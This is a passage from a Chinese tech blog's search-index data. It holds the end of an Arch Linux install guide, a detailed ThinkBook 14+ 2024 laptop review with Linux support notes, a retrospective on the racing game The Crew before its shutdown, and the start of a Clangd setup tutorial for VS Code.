initramfs和Btrfs子卷。\n确定步骤都正确走完了的话，就可以重启了。rEFInd会自动把自己设为默认的。\n后续工作 重新启动后当然是tty了，用NetworkManager连上网之后，就可以装些别的了。我装了这些：\nsh 复制代码 sudo pacman -S gnome sudo vi adobe-source-han-sans-otc-fonts 1 sudo pacman -S gnome sudo vi adobe-source-han-sans-otc-fonts 仅供参考，有需要的自己装就行。\n","date":"May 2, 2024","matchCount":0,"permalink":"/post/install-arch-endeavour/","preview":"","title":"安装 Arch Linux 「未曾设想的道路」"},{"content":"配置为Ultra 7核显版，默认为最新BIOS版本\n一笔带过的开箱 想看开箱建议直接去看开箱视频，B站一搜一大把的。包装比较简陋，就是一个盒子装着一个笔记本，中间填上一些泡沫塑料而已。\n值得特别注意的是C面凸起问题。看起来确实是个普遍问题，但是我的机器是3月15号生产，用尺子比着还算比较微弱。但仍然建议检查一下，毕竟发货日期看起来比较随机。\nC 面并无明显凸起 另外，该机器附带的Windows版本仍然能够通过 oobe\\bypassnro 跳过联网验证。\n不会犯错的外观 主流轻薄本的全（hou）能（zhong）趋势显然已经不可阻挡了。毕竟小尺寸高性能轻薄本确实难做，或许是为了塞下独显，正好趁着换模具的当口，联想选择了直接扩大尺寸。所以正如你看到的，ThinkBook 14+ 2024是一台 14.5寸轻薄本。\n外观还是老样子，ThinkBook几百年一脉相承的外观，百看不厌的拼色A面。A/C/D面使用金属材质，目测是冲压成型，表面喷砂。边缘做了倒角，但我个人还是挺喜欢Mac割手的凌厉感觉的（）。屏幕部分的外框并不是全金属覆盖，而是B面的塑料和A面的金属拼接，略有点失望，但毕竟主流价位轻薄本不能要求太多。\n另外还有一些小小的降低品质感的地方，比如C壳高出D壳的高度不一致，比如转轴两侧的缝隙不一样大，比如机身刚性略显不足，比如转轴手感和稳定性都一般，还有冲压的精致度不及CNC（怀念牢米），等等。总的来说，个人认为这个质感适合5000块钱的锐龙版，撑不起7000块钱，更别提接近万元的顶配版了。\n出人意料的是，表面的金属——或者说内部的加强部件——的强度，疑似也有点太低了。在经过6个月的使用后，不知什么原因，A面和屏幕已经出现了弯曲，呈现向外凸起。即使是塑料壳的R7000，在半年内也并未出现过形变。当我用尺子抵住机身左端，右端的尺子与机身之间已经出现了3mm左右的间隙。\nA 面弯曲 不够完美的硬件性能 联想做极限性能释放，你还有什么疑问么？这台机子的独显版整机性能释放达95W，实际散热能力100W左右（但因为不稳定，被联想砍了一刀），核显版的散热能力，理论上自然也不在话下。垫起机身，性能模式下，CPU单烤75W左右，Cinebench R23多核一轮16120分，连跑十分钟15784分，结束时键盘面仅温热，个人感觉三十五六度的样子。Geekbench 6单核2269，多核13150（链接）。\nCinebench R23 跑分 对于一台2024年给到75W的中高端CPU来说，这个成绩不甚理想，因为Ultra 7 155H仅有16核心22线程，即6P+8E+2L。真到拼性能的时候，十个连超线程都没有的小规模核心根本没有什么实力，主要还是靠6个性能核心。更别提大小核调度了，万一线程放置出了什么问题，性能又要打折扣了。这是Intel其一大罪。2020年的Ryzen 7 4800H仅需65W，R23多核就能跑到9000分，极限性能四年没有翻倍，我还是蛮失望的。\n更让人失望的是，15W下其Cinebench R23多核得分仅有5251分，甚至不及同功耗下 4800H 的 6360 分。为什么我会突然测起15W呢？因为触发了一个奇怪的bug，即使在极客模式下CPU功耗也被限制在15W，所以某种程度上得感谢Intel或者联想自揭老底，没有这个bug我还不知道低功耗下分数这么低。\n实际工作负载下，这颗CPU的表现（搭配软件）依然不尽如人意。进行一些高负载（如WSL2下的ns-3仿真）工作的时候，负载都会调度到P-Core上，这当然很好；但是这些P-Core非常热（如下图）。我用了四年的Zen 2都没有这么热，Intel搞的什么飞机？\n高负载温度 而即使是没那么高负载的工作，比如Steam挂机下载时，或许是该任务被分配到了两个P-Core上，导致这两个核心的平均频率高达恐怖的4.5GHz，平均温度也达到了75度（高于其他P-Core十度以上），最高温度甚至达到了104度，造成了风扇转速急速拉高。而仅两个核心产生的热量很快就被大开的风扇带走，于是核心的温度又降了下来。此时负载并没有走而风扇却停了，便周而复始，若隐若现的噪音非常令人烦躁。起码在我的认知中，Steam下载造成的风扇转速不应被人听到。\n真特么扯淡，我的评价是不如AMD。当然也不是没有解决办法，只要把电源模式调成智能模式，虽然仍然经常有核心跑高频，但是噪音和高温便神奇地几乎消失了。但智能模式也不完全智能，平常频率就龟缩在2GHz，比如跑游戏的时候性能明显不足，还是要手动调到性能模式。\n硬盘是一块海力士HFS001TEJ4X112N，1TB PCIe 4.0 SSD，说真的我觉得4.0和3.0体验上真的很可能没有太大区别，我甚至真的加了一块Gen 3的SSD（虽然插槽支持Gen 5）。跑分见图。\nCrystalDiskMark 跑分 7467 MT/s的高频内存对于核显本是一个大优点，但作为一个常开WSL2的人，32GB的内存基本也就满足日常使用。不知道为什么，Intel的这个核显会占用巨多的内存，而且显存分配上限为16GB，在我写到这里的时候已经吃掉4.9GB了，而我并没有开什么游戏，游戏时核显甚至能吃掉7GB内存。不知道16GB的版本会不会也这样，如果是的话那早该标配24GB了。内存跑分见下图（开了Hyper-V），但这140ns多的内存延迟是跟 AnandTech 的结果 基本相仿的，LPDDR5 7467MT/s也不能成为充足的理由，这延迟真是节节高呀。\n实际上， 在7467 MT/s下，内存控制器以Gear 4模式运行，此模式下延迟天然偏高；其能够切换为5600 MT/s的Gear 2等不同模式。Chips and Cheese有一篇 更详尽的报道。\n无线网卡为AX211，有线网卡也是少见的Intel卡，为1GbE的I219-V。虽然1000Base-T的规格考虑未来几年确实有点落后了，但作为一个轻薄本，带有线网口已经不错了不是吗。\n因为自己有显卡坞，所以核显游戏只试了试原神和星穹铁道。我认为这样的核显性能已经足够应付出行时的轻度游戏需求了，但随时想打3A大作自然是不可能的。\n原神：2K分辨率、最高画质、开启FSR2、1.0倍渲染，平均30帧上下，也就将将能玩。整机功耗70W左右。原生（3K）分辨率，在中画质下，也差不多平均30帧。 星穹铁道：2K分辨率、高画质、渲染1.4倍，黄金的时刻跑图20-30帧，战斗30-40帧。整机功耗65W左右。 令人失望的固件 当一些人口口声声吹着技术积淀的时候，联想却在ThinkBook 14+ 上表现得不像是全球PC市场的老霸主。至于锅该扣在微软头上还是联想头上，我也不知道，反正电源和散热等子系统相关的闹心bug有点多。\n首先便是现代待机下风扇周期性狂转的问题。如果插着电源进入现代待机时后台有一点点负载，那么风扇就会一会低速转，一会全速转，后者的噪音远超性能模式满载（毕竟性能模式也没完全发挥）；试探出风口温度，也并未达到一个非常高的程度。从BIOS版本NJCN53WW开始，风扇策略似乎有了一些改观，转速反复横跳的现象减少了很多，噪音平顺了许多。\n如果合盖时机不对，或者凑巧运气不好，风扇就会停转，整机变得非常烫手，然后CPU降到一个极低的频率。这个场景还是挺常见的，回到住处我习惯把笔记本外接外设和显卡，然后合盖使用。\n作为一台2024年的轻薄本，这台电脑理所应当地支持s0ix电源模式，在Windows中显示为Connected Standby。常见的现代待机睡死发热或耗电问题，在NJCN53WW之前并未出现过；而在该版本中出现了合盖拿出发热的问题，查看电池报告显示，在背包里的四个小时，根本没有进入现代待机。\n性能挡位也不知什么时候会消失，按Fn+Q没有反应，打开联想百应，性能调节直接消失了。\n更别提下了大功夫做的热插拔TGX外接显卡，实际用起来各种53错误、黑屏、蓝屏等，不过这不是本文要介绍的内容，就不赘述了。\n不能被量化的外设体验 此处的外设主要包含键盘、触控板、摄像头等；而“不能被量化”，指的是并不能像核显单元数量、CPU性能释放等参数一样可以横向比较，毕竟手感之类的东西，也是玄学嘛。\n压感触控板是一种整块都可以识别按压手势，并通过振动马达模拟按下手感的触控板，也是我选择这个本的最大理由之一。作为一个前MacBook Pro用户，不得不承认我的手已经被苹果的触控板惯坏了，手势灵活，触感舒适，指哪打哪，效率极高。之后有一次机缘巧合试过小米笔记本Pro 14的压感触控板后，也留下了很深刻的印象，就有一种“这才是触控板该有的样子”的感觉。\n触控板，对比 MacBook Pro 13（左） 但是同为压感触控板，当我摸到ThinkBook 14+ 的压感触控板后却略显失望。好消息是它当然碾压非压感触控板，毕竟点按还要抬起来实在太不方便了；它的尺寸也够大，甚至大于MacBook Pro 13，不会很轻易滑到边缘。但是坏消息是它的手感是弱于前两者的。如果将MacBook Pro 13的触控板体验设为标杆，纯硬件来说，小米笔记本Pro 14只是振动马达略显松散，保留了Mac的绝大部分体验；华为MateBook X Pro则是。而ThinkBook 14+ 除了按压震感松散之外，触发力度不可调且较大，需要略用力按下，用起来会累一些；磨砂质感也很奇怪，有点过于细了，甚至手感有点趋近于光面玻璃，在有手汗的情况下也不够顺畅。防误触并不完全安逸，仍然有些时候手掌碰到触控板，鼠标会移动……当然我还要重申，它的体验依然远远好于非压感触控板，只是我个人对压感触控板的期望值过高了。\n如果算上软件，坦白说差距已经不如我想象中大了。Windows Precision驱动帮了大忙，但是该卡的地方还是卡，手势远远做不到macOS那样跟手。当然这个是微软全责，而且是作为Windows用户完全不可避免的。差距最大的是重按手势，macOS中搭配方便的全局系统字典，非常好用；在Windows下则根本没有这一回事。\n键盘手感相比我的20款拯救者再上一层楼，声音大幅降低，键程仍然处于舒适水准，但手感略软了一点。键盘布局也充分体现了设计者的善意，方向键接近全高，两边伴有PgUp和PgDn，属于是一个拼音输入法使用者才能做出的功能了。在自动模式下，键盘背光的开关也会参考亮度传感器的数值了，在环境够亮的时候不会打开背光。整块键盘唯一明显让我不满的地方，是微软强推的Copilot键。这台电脑好巧不巧，赶上了微软强推Copilot键，却没赶上微软放松要求，于是成为了……光荣的牺牲品。幸亏 PowerToys 可以将其重映射为右 Ctrl，拯救了我这个「Ctrl+Enter发送」党。\n摄像头，画质我不关心，但Windows内置了一个背景模糊的功能，效果还行。虽然有用于Windows Hello的红外摄像头，但是识别速度并不够快，开盖后仍需3-5秒才能进桌面，有时候还要卡一下。\n指纹识别速度也不咋快的样子，与手机的电容/近两年的屏下指纹相比有差距。而且可能是副作用，电源键也似乎按不下去了。\n扬声器，不要抱太大期望，个人感觉音量大一点的时候就容易失真，对音质有要求的还是外接吧。\n软件，唉，微软 在我从开箱到激活的这段时间里，电脑里出现了包括但不限于以下我不希望存在的软件：\n联想电脑管家 联想应用商店 OfficePLUS 微软电脑管家 Intel Unison 联想百应看起来算是控制台+售后服务一类的软件，但是整整22个选项全收在电脑管家-智能设置-更多设置里，点进去还有四个tab分别容纳这些选项。联想可能是觉得调整性能模式是不常用的功能？但不管怎么说，有色域选择、触控板手势，甚至感知人脸自动锁定，都是锦上添花的功能。\n还有一个有意思的自带应用是联想智会，这玩意自带了一个人走开还能保持显示画面的功能……产品鬼才。\n“暂时离开” Windows越来越像一坨屎了，这是绝大部分非Mac用户不得不吃下去的一坨屎，恭喜微软在比烂大赛中赢得第一名。\n14999元机同款的屏幕 这14999块钱的笔记本，还真存在，不过毕竟是高贵的ThinkPad还是独显本，虽然疑似国内团队作品，但价格上也免不了品牌buff。250 PPI的屏幕以微弱优势领先MacBook Pro 13，毫无疑问属于Retina水准。Windows下默认缩放200%，即使在HiDPI debuff之下，除了完全没优化的软件以外，精细度基本无可挑剔。\n实际430nits的亮度还算可以，相比果子那确实差了不少，但在Windows阵营也算不上差。有自动亮度传感器，Windows下调得也还行，不比Mac差，但可能比手机平均水平差一点。\n本人没有色准写轮眼，粗看一眼水平还行，但前提是开启了Windows设置里的自动色彩管理功能。值得注意的是Windows默认刷新率也为60Hz，这两个设置藏在一起，比较深，很容易被忽略。\n没有玻璃覆盖的雾面屏，虽然乍一看确实质感不咋地，但是考虑到不少镜面玻璃覆盖屏幕的旗舰级轻薄本都并没有比肩Mac的抗反射涂层，那确实还不如没有，可以理解。实际也确实如此，这个机器的屏幕平常使用基本不会有太多反光，当然你要是阳光直射那Mac也没办法。\n标杆级拓展性与拆机 嘿，你说这，ThinkBook可就不困了啊，3个USB-A（1个隐藏式，2.0速率）、2个USB-C（一个支持充电、10Gbps，另一个为雷电4）、TGX接口（官方从未说过这个是OCuLink，但确实兼容）、HDMI、micro-SD读卡器（可惜不是标准SD卡）、千兆伸缩式网口，基本不会焦虑了。但可惜的是USB-C都在左边。USB-A接口比较紧，插拔需要一点力气；隐藏式接口如果插进了鼠标接收器，就有点难拔出来了，务必注意。\n支持充电的USB-C同样也支持显示器一线连，视频传输和基本的USB Hub工作均正常。但考虑到BIOS的性能释放策略较为简陋，个人建议将一线连的显示器插到雷电4上，然后单独插原装充电器用于供电；具体性能释放数据见下节。\n这次还是我第一次拆轻薄本。拧松两边的六颗螺丝（取不下来，好评），用吸盘吸住背面右下角并抬起来，就可以从右下角划开卡扣、拆下后盖了。\n拆机 看起来所谓的内吹散热，就是在风扇侧边开了个口，同时用自然风直接给主板散热。提升幅度暂且不论，但D壳确实凉快了不少。也不得不说在14.5寸的机器里同时塞下独显、大电池、双2280硬盘位，网卡也不叠叠乐，即使内存焊死，也足以看出主板设计的水平和产品经理的诚意了。\n不过仔细观察大概也能猜出接口排布的原因：雷电4和TGX之类的高速的接口都在左边，因为右侧那块就是主板的一部分；而低速接口就放在主板左侧的小板上，仔细观察它们是通过排线相连的。采用1Gbps而非2.5Gbps网口可能也是这个考量。不得不感叹ThinkBook X在两边小板上做雷电4的开创性。\n还算令人满意的移动体验 轻薄本嘛，首先肯定要方便带出去。但是这台14.5英寸、1.55kg的“轻薄本”早已经给携带体验减了不少分。\n但1.55kg的机身也不是白加的，比如拥有了84Wh的来自ATL的大电池。使用VS Code写毕业论文，约2小时耗不到一半的电，平均6个月下来，满电能用4个半小时，有明显可见的流畅度损耗，但称不上卡。更轻度的工作下，甚至能撑6小时。得益于外接显示器全都是连到集显上的（包括独显版），外接时也并不会大幅提高整机功耗。对于大学生上课使用，没意外（指课表排布）的话能撑满一上午或者一下午。附送100W的充电器，在联想百应里还能开启快充，再苟一下午基本没问题。\n离电跑分差距不大，也算是圆了Intel的饼，但实际操作明显不如电源接通时顺畅，如NTQQ切换群聊有明显的卡顿感，猜想提频不积极。上述动作场景平均整机功耗15W左右，也算是一个不太离谱的数字吧。再加上一点静止场景，6-7小时续航问题还真不大。\n屏幕、键盘、触控板等方面在之前说过了，不再赘述。\n随机附赠的充电器是100W三脚PD，不会像两脚插（如拯救者C135）一样金属壳摸起来酥酥麻麻，充小米12S差不多是正常PD头雨露均沾的20W。使用非原装充电器时，性能释放如下：\n100W（酷态科10号移动电源USB-C）/135W（联想C135）：性能释放和充电功率与官方100W无异 90W（AOC U24P10R反向供电）/65W（小米AD651P）/61W（苹果A1947）：CPU PL2约为60W，PL1（即持续性能释放）约为35W 联想C135 + 3A C2C线（无E-marker）：开机无法供电，关机可达到60W左右 33W（ZMI HA715）：无20V输出，不充电 使用原装100W充电器，30% 电量，静止下（系统总功率约25W），电池充电速度（非充电器功率）约为42W，使用快速充电功率约为50W；换用拯救者C135充电器，快速充电开启时充电速度约为65W，关闭时约为55W。\n结语 我对ThinkBook 14+ 的期待是当年当代主流轻薄本的标杆，但2024年的ThinkBook并未满足我六边形战士的幻想。纸面上容易宣传的部分，比如屏幕分辨率、处理器性能释放瓦数、接口和内部扩展性等，保证了在斗蛐蛐时立于不败之地；过去一些部分高端本才有的配置，如压感触控板、红外人脸、指纹识别和一点AI功能，权当锦上添花；但诸如质感、噪音和温度表现，以及触控板手感，似乎都与真正的高端本有着不可逾越的鸿沟。\n对于一台主流价位轻薄本，我完全理解这样的取舍：在决定基础使用体验的方面优先下功夫甚至略微过度，这能够优先满足绝大部分人的需求（包括斗蛐蛐需求）；逐渐下放一些甜点特性，起码换代不至于只换CPU；同时长期保持与当代甚至上代高端轻薄本的差距，不失为一种良性循环。然而ThinkBook 14+ Ultra 7版本售价已经达到了6999元，与真正的主流价位轻薄本的价格差距，比与中高端轻薄本的价格差距还要大。毕竟去年的Yoga Air 14S也仅需7999元，实际摸起来，给人的主观感受远强于ThinkBook 14+。或许这也是ThinkBook的取舍，同一套模具覆盖5000-10000元造成的取舍。\n我认为真正拉开ThinkBook 14+ 和其他轻薄本的差距的，是TGX接口，它使得核显轻薄本也有了外接强大独显的能力；以及强大的内外部扩展性，这么多接口确实同价位罕见。\n我的理解是高配版ThinkBook 14+ 的定位仍然是为性能党/参数党准备的大杯版主流轻薄本，而不是质感越级、兼顾性能的中高端轻薄本。虽然这两种选择并无对错，但许多地方仍然是上手之后才能感受到的；而这种参数领先的笔记本，宣传上无疑更讨喜。\n另外还想聊一句TB14+ 的锐龙版：如你所见Intel的Meteor Lake在Zen 4+ 前已经毫无还手之力了，如果搭配同样的好屏幕好触控板，即使因为PCIe通道问题没有TGX，锐龙版也会成为今年的轻薄本标杆。可惜这俩全都没有，那么是联想产品规划问题呢，还是Intel从中作梗呢？ 破案了，就是ThinkBook产品经理觉得AMD用户不愿意加钱。\n附录1：Linux支持情况 使用Arch Linux，GNOME 46桌面环境。如有依赖其他工具均会说明。\n外设支持 触摸板开箱不可用，但可以安装第三方 DKMS 解决（或 AUR）。与Windows体验略有差距。\n喇叭开箱不可用，需要装 sof-firmware。\n亮度传感器直接可用，能够自动调节屏幕亮度，但是可能不如Windows下省心，不如不开。\n指纹可用，装个 fprintd 就行。\n摄像头直接可用，Howdy可以用，但是似乎只能用普通摄像头，红外摄像头不行。\nFn组合键可用。\n性能 安装 power-profiles-daemon 可以切换性能模式。但Linux本身功耗足够低，即使不手动调节，风扇也不会突然狂转。\n","date":"April 13, 2024","matchCount":0,"permalink":"/post/thinkbook-14plus/","preview":"","title":"ThinkBook 14+ 2024 体验：主流轻薄本的舍与得"},{"content":"我好像记不得什么时候玩过《飙酷车神》了，但“多亏了”它全程联网的机制，它在发售10年后的2024年3月31日马上就要停服了。在这个关头玩这款游戏，大概算是一种抢救式游玩。然而本来时间也不多，所以也没法深入游玩了，有点可惜。\n90分钟横穿美利坚 它的最大卖点，无疑就是全美的地图了。虽然看到它20 GB的大小，玩家应该对这个营销词汇有一定的认识，但是当驾车上百公里横穿整个美国的时候，才感受到这个地图的庞大——尤其是作为一款2014年的游戏。要知道，同期的《极品飞车：宿敌》只需要7分30秒就能环绕Redview一圈，总长度也只有45 km。\n提起美国，城市是不可或缺的一环。游戏中当然连复刻每个州的主要城市都做不到，但还是挑了纽约、洛杉矶、拉斯维加斯等几个主要城市进行了微缩。毕竟育碧的游戏一直可以称为旅游模拟器，玩家也可以在游戏中看到一些熟悉的地标。美中不足的是城市里比如立体停车场之类的设施是不能进的。\nRandy\u0026rsquo;s Donuts 金门大桥 除了城市当然也有不少小村落和旷野，我觉得质量是过关的。可能为了做越野赛之类赛事，一些乡村小道也能和高速公路一样连接各大城市，看起来有些奇怪，但也正常。车也是可以开到路外自由越野的，在如此大的地图面积下做到这点，非常难得。\n为了解决地图过大的问题，育碧还依托几个机场和火车站做了快速传送，连带着机场基本都有专属建模，确实挺有意思。\n地图优势不仅仅是地域优势，还包括游戏内小地图。它根据不同的缩放倍数甚至有不同的地图样式，可惜几个倍数是预设的，经常倍率过大或者过小……\n实景地图 广袤的地图范围还有额外的好处，就是根本不需要刻意缝合各种地貌。近几年的许多RAC为了满足各种玩法和体验，地图设计上缝合了许多截然不同的地貌，比如出了城就是雪山之类总感觉看起来很尴尬。然而毕竟美国是个大国，只需要忠实地做出来就好了；甚至制作组还有闲心放几个游乐场之类的玩意。\n那么，代价是什么呢 代价就是画质咯，同样的一款游戏，地图的大小和质量并重的话，预算顶不住，玩家的电脑也顶不住。所以画质（和建模）就会有肉眼可见的降低。比如车辆就给人一种塑料感，Mustang logo都不完整了（最高画质，下同）。\n车辆细节 水体也只是能看而已，甚至像贴图一样（但真的会动）。\n水上的桥 这个动态模糊（设定档为低），有种屎黄风云（《极品飞车：卧底风云》）的感觉了，一动起来像是一坨翔……\n动态模糊 这时又要拉出《极品飞车：宿敌》了。我认为它的画面观感其实是要比《飙酷车神》好很多的，一方面应该是引擎的原因，毕竟寒霜3底子在那里，另一方面是它用了不少鸡贼的视觉效果，整个画面阴沉沉的也没多少人会顾得上细节了。\n它的另一个中文名叫《法外之徒》 虽然，正如Skull and Bones中文名变成了《碧海黑帆》一样，即使没有过审压力，也没有选《法外之徒》这个名字。\n真实的世界怎么能没有警察呢，育碧甚至为数个大城市和每个大区各订制了一种警察涂装。然而并非NFS中你不招惹它它就不招惹你的警察，即使撞上行人或者街车，警察也会试图通缉。但是，只要警察把赛车手玩家截停，则只需要三秒左右即可逮捕，这与玩家作为警察时需要8秒才能逮捕赛车手形成了鲜明的对比。\n等等，玩家作为警察？这特么不是热力追踪？确实，但作为一个没买Calling All Units DLC的玩家，很遗憾只能玩一场拦截赛。甚至还可以装备两个技能，热力追踪无疑了。育婊还把DLC赛事和商店放在地图上，图标一闪一闪的，这点我是有点无语了。\n警察技能 我的crew在哪里？ 育碧全程联网当然也是有理由的啊，那就是大世界的多人游玩。无缝的大世界漫游体验确实非常好，甚至几乎没有明显的加载时间，毕竟隔壁NFS也只是刚实现而已。一张地图能容许8个人同时在线，比隔壁还要多两个。当代联机RAC所具有的一起漫游跑赛事等也是一应俱全，遥遥领先了属于是。\n但大家都知道，土豆厂的服务器懂的都懂，能连上属于三生有幸了。更不用提《极品飞车：宿敌》和《极限竞速：地平线3/4/5》 都只是可选联机，后者甚至可以无缝切换联机和AI街车的状态。如此巨大的地图里散落八个人，绝大部分时候也只是自己跑而已，这个数字即使乘以十，对这个地图来说也不嫌多，只能说可惜当时技术所限吧。\n关于停服，Ivory Tower给出的理由是服务器限制和许可要求。前一个倒是合理也不合理，毕竟早就鬼服了，留几个土豆也没几个成本；后一个理由那确实存在，极限竞速系列也经常都会定时下架，比如现在想买地平线3已经买不到了。然而就算这样，买了的还可以继续离线玩，只不过没有更新了。既然如此，就看看同样是全程联网的《极品飞车（2015）》怎么搞，会不会搞个离线补丁，不过EA的服务器再烂也比育碧的好点儿。\n","date":"March 24, 2024","matchCount":0,"permalink":"/post/the-crew/","preview":"","title":"在停服前，再次一瞥《飙酷车神》"},{"content":"微软出品的VS Code官方C/C++ 插件当然很好，似乎在C/C++ 用户中也是用得较为广泛的，调试功能很好用。然而在稍大一点的项目中，有时会出现找不到代码索引的问题，以及代码补全、提示不够智能等，在一定程度上Clangd就能够解决这个问题。\nClangd是LLVM社区的一个项目，是一个基于 LSP Language Server Protocol的C/C++ 语言服务器（类似于rust-analyzer、gopls等），与编辑器插件和其他工具结合使用，能够提供错误提示、代码补全、重构、语法高亮等功能。\n对比 以下部分选取之前的课程实验uCore代码，对Clangd 15.0.0和微软C/C++ 插件的对应部分功能进行比较。\nClangd：能够正确找到符号对应的源文件 C/C++：未找到符号定义 ，仅有返回值提示 Clangd：有较完整的补全列表 C/C++：无法补全 Clangd：识别到格式错误，并提供修改建议 C/C++：未识别到格式错误 注：C/C++ 插件也能够读取 compile_commands.json，但索引很慢，且对于JSON中没有覆盖到的源文件，并不能推测符号位置，并不是完全不能找到定义。然而即使找到，提示功能也逊于Clangd。\n安装 首先你需要安装Clang，macOS的Xcode命令行工具自带，Linux可以通过包管理器安装（也可以只安装clang-tools），Windows则可以使用 llvm-mingw 中的Clang。个人建议有条件的话使用一个较新的版本，特性会有显著的差异。\n关于 Windows 下安装 llvm-mingw 从上述GitHub页面的releases中选择一个版本，下载assets中适合你电脑处理器的版本压缩包（如 llvm-mingw-yyyymmdd-ucrt-x86_64.zip） 将该压缩包所有内容解压到电脑上你喜欢的位置 将含有数百个exe那个文件夹 加入到环境变量中（通常路径含有 bin） 打开你的终端，如果运行 clang -v 显示与刚刚下载所匹配的版本，则安装完成 在Windows和macOS下，Clang默认能够模拟GCC命令，因此无需再安装GCC。\n然后你当然需要VS Code，以及clangd插件，但没有必要卸载官方C/C++ 插件。但如果确实安装了，需要在VS Code的设置（文件-首选项-设置 或Code-首选项-设置）中禁用其IntelliSense代码补全（C_Cpp.intelliSenseEngine 设置为 disabled）。\n解析、索引文件 Clangd并不是强在可以完全自动找出索引，而是可以通过方便的方式生成索引。很多简单的项目可以直接使用类似 clang main.c 之类的一条命令编译，此时Clangd也可以正常找到引用的所有文件和符号，下面这一段也就暂时没用了。\n然而复杂的项目则不然。就拿阿里巴巴前两年一篇HPCC论文的 代码 来说，ns-3本身就是一个十分复杂的项目，仿真程序的引用也弯弯绕绕，也总不能把头文件全部装到系统目录中。虽然有较为方便的编译运行方式，但Clangd就不能自动处理所有引用了。因此下面介绍了几种办法，供各位参考。\n给Clangd传入参数 就像GCC/Clang一样，可以将 -I 等参数传入Clangd，来指定它寻找头文件的范围。VS Code可以对每个工作区设定单独的Clangd参数（clangd.arguments），这样每个项目的配置都可以不同了。\n虽然小项目手动传命令确实不麻烦，但小项目也用不着手动索引呀。所以这个办法其实不是特别方便。\n使用Bear生成 compile_commands.json compile_commands.json 记录了每个源文件的编译命令。例如HPCC代码的（该JSON仅供参考，不同版本生成工具格式有所改变）：\njson 复制代码 [ { \u0026#34;command\u0026#34;: \u0026#34;c\u0026#43;\u0026#43; -c -O0 -ggdb -g3 -std=gnu\u0026#43;\u0026#43;11 -Wno-error=deprecated-declarations -fstrict-aliasing -Wstrict-aliasing -fPIC -pthread -Isimulation/build -Isimulation -I/usr/include/libxml2 -DNS3_ASSERT_ENABLE -DNS3_LOG_ENABLE -DHAVE_PACKET_H=1 -DHAVE_SQLITE3=1 -DHAVE_IF_TUN_H=1 -o src/wimax/model/ss-scheduler.cc.1.o simulation/src/wimax/model/ss-scheduler.cc\u0026#34;, \u0026#34;directory\u0026#34;: \u0026#34;simulation/build\u0026#34;, \u0026#34;file\u0026#34;: \u0026#34;simulation/src/wimax/model/ss-scheduler.cc\u0026#34; }, { \u0026#34;command\u0026#34;: \u0026#34;c\u0026#43;\u0026#43; -c -O0 -ggdb -g3 -std=gnu\u0026#43;\u0026#43;11 -Wno-error=deprecated-declarations -fstrict-aliasing -Wstrict-aliasing -fPIC -pthread -Isimulation/build -Isimulation -I/usr/include/libxml2 -DNS3_ASSERT_ENABLE -DNS3_LOG_ENABLE -DHAVE_PACKET_H=1 -DHAVE_SQLITE3=1 -DHAVE_IF_TUN_H=1 -o src/wimax/model/wimax-mac-queue.cc.1.o simulation/src/wimax/model/wimax-mac-queue.cc\u0026#34;, \u0026#34;directory\u0026#34;: \u0026#34;simulation/build\u0026#34;, \u0026#34;file\u0026#34;: \u0026#34;simulation/src/wimax/model/wimax-mac-queue.cc\u0026#34; }, { \u0026#34;command\u0026#34;: \u0026#34;c\u0026#43;\u0026#43; -c -O0 -ggdb -g3 -std=gnu\u0026#43;\u0026#43;11 -Wno-error=deprecated-declarations -fstrict-aliasing -Wstrict-aliasing -fPIC -pthread -Isimulation/build -Isimulation -I/usr/include/libxml2 -DNS3_ASSERT_ENABLE -DNS3_LOG_ENABLE -DHAVE_PACKET_H=1 -DHAVE_SQLITE3=1 -DHAVE_IF_TUN_H=1 -o src/wimax/model/bs-scheduler-simple.cc.1.o simulation/src/wimax/model/bs-scheduler-simple.cc\u0026#34;, \u0026#34;directory\u0026#34;: \u0026#34;simulation/build\u0026#34;, \u0026#34;file\u0026#34;: \u0026#34;simulation/src/wimax/model/bs-scheduler-simple.cc\u0026#34; }, ...... ] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [ { \u0026#34;command\u0026#34;: \u0026#34;c++ -c -O0 -ggdb -g3 -std=gnu++11 -Wno-error=deprecated-declarations -fstrict-aliasing -Wstrict-aliasing -fPIC -pthread -Isimulation/build -Isimulation -I/usr/include/libxml2 -DNS3_ASSERT_ENABLE -DNS3_LOG_ENABLE -DHAVE_PACKET_H=1 -DHAVE_SQLITE3=1 -DHAVE_IF_TUN_H=1 -o src/wimax/model/ss-scheduler.cc.1.o simulation/src/wimax/model/ss-scheduler.cc\u0026#34;, \u0026#34;directory\u0026#34;: \u0026#34;simulation/build\u0026#34;, \u0026#34;file\u0026#34;: \u0026#34;simulation/src/wimax/model/ss-scheduler.cc\u0026#34; }, { \u0026#34;command\u0026#34;: \u0026#34;c++ -c -O0 -ggdb -g3 -std=gnu++11 -Wno-error=deprecated-declarations -fstrict-aliasing -Wstrict-aliasing -fPIC -pthread -Isimulation/build -Isimulation -I/usr/include/libxml2 -DNS3_ASSERT_ENABLE -DNS3_LOG_ENABLE -DHAVE_PACKET_H=1 -DHAVE_SQLITE3=1 -DHAVE_IF_TUN_H=1 -o src/wimax/model/wimax-mac-queue.cc.1.o simulation/src/wimax/model/wimax-mac-queue.cc\u0026#34;, \u0026#34;directory\u0026#34;: \u0026#34;simulation/build\u0026#34;, \u0026#34;file\u0026#34;: \u0026#34;simulation/src/wimax/model/wimax-mac-queue.cc\u0026#34; }, { \u0026#34;command\u0026#34;: \u0026#34;c++ -c -O0 -ggdb -g3 -std=gnu++11 -Wno-error=deprecated-declarations -fstrict-aliasing -Wstrict-aliasing -fPIC -pthread -Isimulation/build -Isimulation -I/usr/include/libxml2 -DNS3_ASSERT_ENABLE -DNS3_LOG_ENABLE -DHAVE_PACKET_H=1 -DHAVE_SQLITE3=1 -DHAVE_IF_TUN_H=1 -o src/wimax/model/bs-scheduler-simple.cc.1.o simulation/src/wimax/model/bs-scheduler-simple.cc\u0026#34;, \u0026#34;directory\u0026#34;: \u0026#34;simulation/build\u0026#34;, \u0026#34;file\u0026#34;: \u0026#34;simulation/src/wimax/model/bs-scheduler-simple.cc\u0026#34; }, ...... ] 正因为Clangd同时也可以识别Clang的参数，所以通过提供编译命令，Clangd可以自动获取其引用的源代码所在的目录，从而处理引用，以及一些其他的功效。这个文件一般也没人手搓，太麻烦了。\n虽然C/C++ 生态的构建系统千变万化，但是仍然可以用 Bear 截取编译命令。不同版本Bear使用方式不同，需要预先注意：\nshell 复制代码 # 较老版本 bear \u0026lt;compile_command\u0026gt; # 较新版本 bear -- \u0026lt;compile_command\u0026gt; 1 2 3 4 # 较老版本 bear \u0026lt;compile_command\u0026gt; # 较新版本 bear -- 